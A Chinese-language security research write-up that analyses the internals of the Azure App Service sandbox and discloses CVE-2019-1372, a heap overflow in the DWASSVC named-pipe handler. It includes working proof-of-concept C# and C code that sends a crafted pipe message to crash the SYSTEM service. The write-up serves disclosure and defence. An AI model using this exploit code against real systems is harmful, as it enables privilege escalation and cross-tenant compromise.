0x00 前言
在前一篇文章中，我们讨论了Azure Stack体系架构，该架构可使用核心功能之外的功能进行扩展。由于我们可以离线研究云组件，因此可以借此机会研究Azure App Service。在本文中，我们将深入分析Azure App Service内部原理，检查其体系结构、攻击点，介绍我们在某个组件中找到的一个严重漏洞，该漏洞可以影响Azure云。
0x01 Azure App Service
根据微软描述，Azure App Service可以帮助用户使用自己选择的编程语言来构建并托管web应用、移动后端以及RESTful API，无需管理基础架构。Azure App Service提供了自动扩展及高可用特定，同时支持Windows及Linux，可以通过GitHub、Azure DevOps或者其他Git仓库进行自动部署。、
0x02 Azure App Service架构
备注：以下部分信息摘抄自https://channel9.msdn.com/Events/Ignite/2016/BRK3206。
Azure App Service架构可以分为如下6类角色：
1、Controller（控制器）
管理App Service：Controller管理并监控App Service，在其他角色中执行WinRM函数，以便部署软件并确保一切如期运转。
2、文件服务器
应用内容：存储tenant（租户）的应用及数据。
3、Management（管理）
API、UI扩展及数据服务：管理角色可以用来托管API、UI扩展、tenant门户以及管理员门户。
4、Front End（前端）
App Service路由：前端承担负载均衡器功能，位置在Azure/Azure Stack中所有软件负载均衡器之后，是App Service的负载均衡器，动态决定要将请求具体发送至哪个Web Worker。
5、Publisher（发布者）
FTP、Web Deploy：Publisher在Web Deploy端点中提供了一个FTP口，以便将所有tenant应用文件内容部署到文件服务器上。
6、Web Worker（Web工作者）
应用主机：托管应用的服务器，数量越多越好。这是我们主要感兴趣的部分，所有研究点都集中在这一部分。
现在我们已经知道App Service具有哪些角色，可以研究下这些角色之间如何相互交互（在默认的App Service配置下）：
0x03 Web Worker
前面提到过，tenant应用运行在Web Worker主机中，这意味着应用可以使用支持的语言来运行任意代码。如果tenant决定运行恶意代码，破坏Web Worker主机或者其他正在运行的应用时，会出现什么情况？这是非常有趣的一个问题，但我们先要分析一些内部原理。
0x04 Microsoft Web Hosting Framework
代号为“Antares”，该框架提供了运行tenant应用的一个平台，包含如下几个组件：
DWASSVC
该服务负责管理并运行tenant应用。通常情况下，每个tenant应用会分配2个或更多个IIS工作进程（w3wp.exe）。第一个进程运行Kudu，以便tenant以简单且可访问的方式来管理自己的应用。第二个进程实际运行tenant应用。这些进程属于“完整版应用”，运行在权限相对较低的同一个用户上下文中。
这个服务还有很多可研究点，回头我们再来讨论。
内核模式沙箱
其中最有趣的一个组件为RsFilter.sys，这是一个过滤器驱动，是不包含公开符号的另一个Azure专有组件。关于这个组件，我们完全可以基于逆向分析单独开辟一篇文章。然而，这里我们仅简要介绍一下其主要功能：
1、进程创建/删除跟踪
该驱动会使用PsSetCreateProcessNotifyRoutine回调来跟踪每个进程创建或删除操作。
内核中为“沙箱化进程”创建了2个主要结构。第一个结构我们称为ProcessInfo，其中包含进程相关信息，包括句柄、进程ID、映像文件名等。在IDA Pro中查看该结构，如下所示：
创建（或收集）的第二个结构为ProcessInfo结构中的一个属性，我们称之为SandboxSettings。该结构非常庞大，包含关于进程沙箱环境的相关信息，比如进程/线程数限制、网络端口限制、环境路径等。部分片段摘抄如下：
当ProcessInfo结构创建完毕后，会被插入一张全局表中，以便内核驱动跟踪。这里需要注意的一个有趣点是，同一个沙箱中的其他进程也能共享这个SandboxSettings。比如，tenant应用、其子进程以及Kudu虽然有不同的ProcessInfo结构，但都具有相同的SandboxSettings。
IOCTL及FltPort通信
IOCTL及FltPort是用户空间到驱动程序的主要通信接口。某些IOCTL可以被任意用户调用，某些需要特定权限。连接到过滤端口（FLT）需要较高权限，修改沙箱设置可以通过该端口进行操作。
文件系统过滤器
RsFilter注册了大量文件系统相关回调，以便正常处理相关事务。
如果大家之前使用过Azure App Service，可能会知道应用可以访问D:\home，获取主目录。但大家是否想过其中的工作原理？比如每个tenant应用如何通过访问该路径来获取其对应的主目录？答案在PreFilterOnCreateCallback函数中。前面我们提到过SandboxSettings结构，其中有个sandboxRemotePath属性，该属性包含指向应用存储位置的一个UNC文件共享路径。DWASSVC会使用公开的过滤器端口（FltPort）与驱动通信，在IIS工作进程启动时设置该路径。因此，当应用尝试访问D:\home或者其他特定路径时，过滤器驱动会实时匹配并替换将路径替换为正确的路径值。
其他回调实现了文件系统限制功能，比如磁盘配额、目录/文件数量等。
网络过滤器
网络过滤器实现了一些安全机制，避免出现数据泄漏，降低被攻击风险。网络过滤器包含端口白名单机制以及本地端口过滤机制。比如，用户的应用无法连接到未监听的本地端口。此外，这里还有最大连接数限制、网络IP地址范围白名单、禁用原始套接字等。
比如如下SMB 445及139端口黑名单机制（大家还记得WannaCry攻击事件吗？），有人能找到其中可能存在的bug吗？
用户模式沙箱
每个IIS工作进程都会加载名为RsHelper.dll的一个DLL，该DLL使用微软的Detours库进行编译，hook了来自kernel32.dll、advapi32.dll、ws2_32.dll、httpapi.dll以及ntdll.dll等DLL中的大量函数。这里有趣的地方在于，该DLL还会hook CreateProcessA/CreateProcessW函数。当这些函数被调用时，该DLL会使用大家熟知的DLL注入技术（CreateRemoteThread），将自身注入到创建的进程中。观察被hook的函数，我们可以看到微软在实现上考虑得较为全面，以阻止tenant应用在Web Worker主机内部获取本不需要了解的相关信息。
如果大家想了解关于App Service沙箱的更多信息，可以参考这篇文章，其中详细介绍了其功能特性。我们可以确定的是，微软已经实现了大部分功能。然而我们并没有看到某些功能，比如对Win32k.sys（User32/GDI32）的限制。即便如此，该安全机制可能已经在公有云上实现。
理解App Service的工作原理后，现在我们可以开始在本地攻击场景中寻找漏洞。
0x05 漏洞细节
在本节中，我们将与大家分享我们在DWASSVC中找到的一个漏洞。利用该漏洞，我们可以以NT AUTHORITY\SYSTEM权限执行代码。
在研究过程中，我们使用了Process Explorer（来自SysInternals Suite的一款工具）来检查正在运行的进程，查看进程的执行方式、使用的命令行、模块等。我们在命令行中找到了一些有趣的参数：
这里我们能看到-a参数以及一个命名管道路径。这里我们自然有些问题：通过该管道发送的是什么数据？我们是否可以影响这些数据？为了回答这些问题，我们首先需要理解谁创建了该管道，答案是DWASSVC启动了工作进程。DWASSVC采用C#编写，我们使用反编译器查看内部代码。在新的工作进程创建前，服务首先会创建命名管道，以便与之通信。我们可以查看经过反编译的Microsoft.Web.Hosting.ProcessModel.dll源码，在WorkerProcess.cs:Start中找到相应逻辑：
CreateIpmPipe为原生函数，具体实现位于DWASInterop.dll中：
为了能“深入”分析DWASInterop.dll，我们需要完全逆向分析其源码。由于没有公共符号，并且该DLL采用C++编写，因此我们花了一些时间才完成该任务。然而，这里有许多调试字符串，其中公开了一些函数名称，并且我们还注意到该DLL会与IIS的iisutil.dll共享代码（后者具有公共符号）。对两者进行比较后，我们可以加快逆向分析过程。
来看一下CreateIpmPipe的内部实现：
可以看到其中调用了CreateIpmMessagePipe内部函数：
CreateIpmMessagePipe会调用CreateNamedPipeW来创建命名管道。如果观察函数参数，可以看到该函数使用了PIPE_ACCESS_DUPLEX，这意味着该管道为双向管道，服务端（DWASSVC）及客户端（w3wp.exe）可以读取并写入该管道。随后工作流执行完毕，结果返回C#程序。当代码返回时，DWASSVC会启动工作进程，将管道名以参数形式（-a标志）传入。工作进程启动后，会连接至管道，然后开始通信。
现在我们知道管道的创建方式，但该管道有什么作用呢？答案是进程间通信。比如，如果不想粗暴地杀掉工作进程，DWASSVC可以向其发送关闭请求，也就是“Worker Shutdown Request”消息。当然这里还有其他一些消息格式，但我们对协议本身的实现比较感兴趣，想看一下能否找到其中存在的漏洞。
工作进程可以发送给DWASSVC服务的消息结构如下所示，我们将该结构命名为WorkerItem：
| 字段 | 描述 |
|---|---|
| DWORD opcode（4字节） | The operation code |
| DWORD dataLength（4字节） | The length of the data |
| data | The actual data |
当DWASSVC收到消息后（DWASInterop.dll），会调用IPM_MESSAGE_PIPE::MessagePipeCompletion回调来处理。传递给该回调的第一个（也是唯一一个参数）为一个IPM_MESSAGE_IMP实例。
IPM_MESSAGE_IMP是比较特殊的一个类，DWASInterop使用该类来描述具体消息。该类并没有太多字段，我们逆向出的部分字段如下所示：
该结构中包含指向workerItem的一个指针，也包含名为workerItemSize的一个属性，该属性值为workerItem的大小。workerItemSize中保存workerItem的完整大小（及opcode + length + data），而workerItem.dataLength只保存了data字段的大小。
当IPM_MESSAGE_PIPE::MessagePipeCompletion收到消息时，会存在一个有趣的边缘情况：
当读取数据时，会调用ReallocateWorkerItem函数。
代码会为newWorkerItem简单分配空间，然后将之前的数据拷贝到新结构中。
当调用该函数时，会传入workerItem->dataLength，然后使用传入的大小分配空间。然而，memcpy操作会根据workerItemSize执行。如果通过DWASInterop.dll或iisutil.dll公开的API（WriteMessage API函数）来发送消息，那么这两个大小值会被自动计算。然而，如果攻击者可以将消息直接发送至命名管道，那么就可以发送如下类似的消息：
| 字段 | 取值 |
|---|---|
| DWORD opcode（4字节） | 0x16（此时具体值无关紧要） |
| DWORD dataLength（4字节） | 0 |
| data | A * 100（比较长的一个字符串） |
此时workerItemSize会被计算为108，而workerItem->dataLength的值为0。在这种情况下，大小为0的分配操作会执行成功，而memcpy会使用大小为108这个值在分配的空间上执行操作，导致出现堆溢出现象，并且攻击者可以控制其内容及大小。
那么攻击者如何向DWASSVC（DWASInterop.dll）发送消息呢？根据微软的设计，在运行C# Azure函数时，函数会运行在工作进程（w3wp.exe）的上下文中。这样攻击者就有可能枚举当前已打开的句柄，通过这种方式，找到已打开的命名管道句柄，发送精心构造的消息。我们触发漏洞的方式如下所示：
using System.Net;
using System.Runtime.InteropServices;
[DllImport("YOUR_DLL_NAME")]
public static extern void load();
public static async Task<HttpResponseMessage> Run(HttpRequestMessage req, TraceWriter log)
{
load();
log.Info("C# HTTP trigger function processed a request.");
return req.CreateResponse(HttpStatusCode.OK, "Malicious Function");
}
我们创建了一个C# Azure函数，用来加载原生DLL，调用load函数。
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma warning(disable: 4996)
#define MAX_PATH_LEN 2048
#define MAX_BUFF_LEN 2048
#define IPM_BUFFER_LEN(0x800)
typedef struct _pipedata {
unsigned int opcode;
unsigned int length;
char data[IPM_BUFFER_LEN];
}
PIPE_DATA;
extern "C"
__declspec(dllexport) int load(void) {
FILE * fh = NULL;
char path[256];
sprintf(path, "D:\\home\\output_%d_.txt", GetCurrentProcessId());
fh = fopen(path, "wb");
if (NULL != fh) {
int i = 0;
for (i = 1; i < 10000; i++) {
DWORD type = GetFileType((HANDLE) i);
if (FILE_TYPE_PIPE == type) {
PFILE_NAME_INFO fi;
DWORD structSize = (MAX_PATH_LEN * sizeof(wchar_t)) + sizeof(FILE_NAME_INFO);
fi = (PFILE_NAME_INFO) malloc(structSize);
if (fi == NULL)
continue;
memset(fi, 0, structSize);
if (NULL != fi) {
if (GetFileInformationByHandleEx((HANDLE) i, FileNameInfo, fi, structSize)) {
if (wcsstr(fi - > FileName, L "iisipm")) {
fprintf(fh, "Pipe: %x - %S\n", i, fi - > FileName);
fflush(fh);
DWORD writtenBytes = 0;
OVERLAPPED overlapped;
memset( & overlapped, 0, sizeof(OVERLAPPED));
PIPE_DATA pipedata;
memset( & pipedata, 'a', sizeof(PIPE_DATA));
pipedata.opcode = 0x0A;
pipedata.length = 0;
if (WriteFile((HANDLE) i, & pipedata, sizeof(PIPE_DATA), & writtenBytes, & overlapped)) {
fprintf(fh, "Successfully writen: %d bytes into %d\n", writtenBytes, i);
fflush(fh);
} else {
fprintf(fh, "Failed to write into %d\n", i);
fflush(fh);
}
}
} else {
fprintf(fh, "Error: %x, %d\n", i, GetLastError());
fflush(fh);
}
free(fi);
}
}
}
fclose(fh);
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
load函数会暴力枚举句柄，直到找到名称以iisipm开头的已打开句柄，然后构造恶意消息，立即发送该消息。执行代码后，DWASSVC会如期崩溃。
虽然我们只演示了崩溃场景，该漏洞还是可以用来实现权限提升。
0x06 漏洞影响
微软提供了各种App Service计划：
1、共享计算：Free及Shared，这两个基础层与其他App Service应用（包括其他客户的应用）在同一个Azure VM上运行app。这些层将为运行在共享资源上的每个app分配CPU限额，相关资源无法扩展。
2、专用计算：Basic、Standard、Premium及PremiumV2层在专用Azure VM上运行app。只有相同App Service计划中的应用能分享相同的计算资源。层级越高，我们能使用更多的VM实例来扩展。
3、隔离：这一层在Azure虚拟网络上运行专用Azure VM，以计算隔离为基础，为app提供网络隔离机制，也提供最大尺度的扩展功能。
如果大家想了解更多细节，可参考官方文档。
如果在这些计算中利用该漏洞，我们就可以破坏微软的App Service基础设施。然而，如果在Free/Shared计划上利用该漏洞，我们还能攻击其他tenant的应用、数据甚至账户。这样一来，攻击者就能成功打破App Service的安全模型。
0x07 总结
云并不是一个神奇的地方，尽管大家认为云端比较安全，但云端归根结底也是一种基础设施，可能包含存在漏洞的代码，本文就是非常典型的一个案例。
微软已经公开并修复)了该漏洞，漏洞编号为CVE-2019-1372，官方确认该漏洞会影响Azure Cloud以及Azure Stack。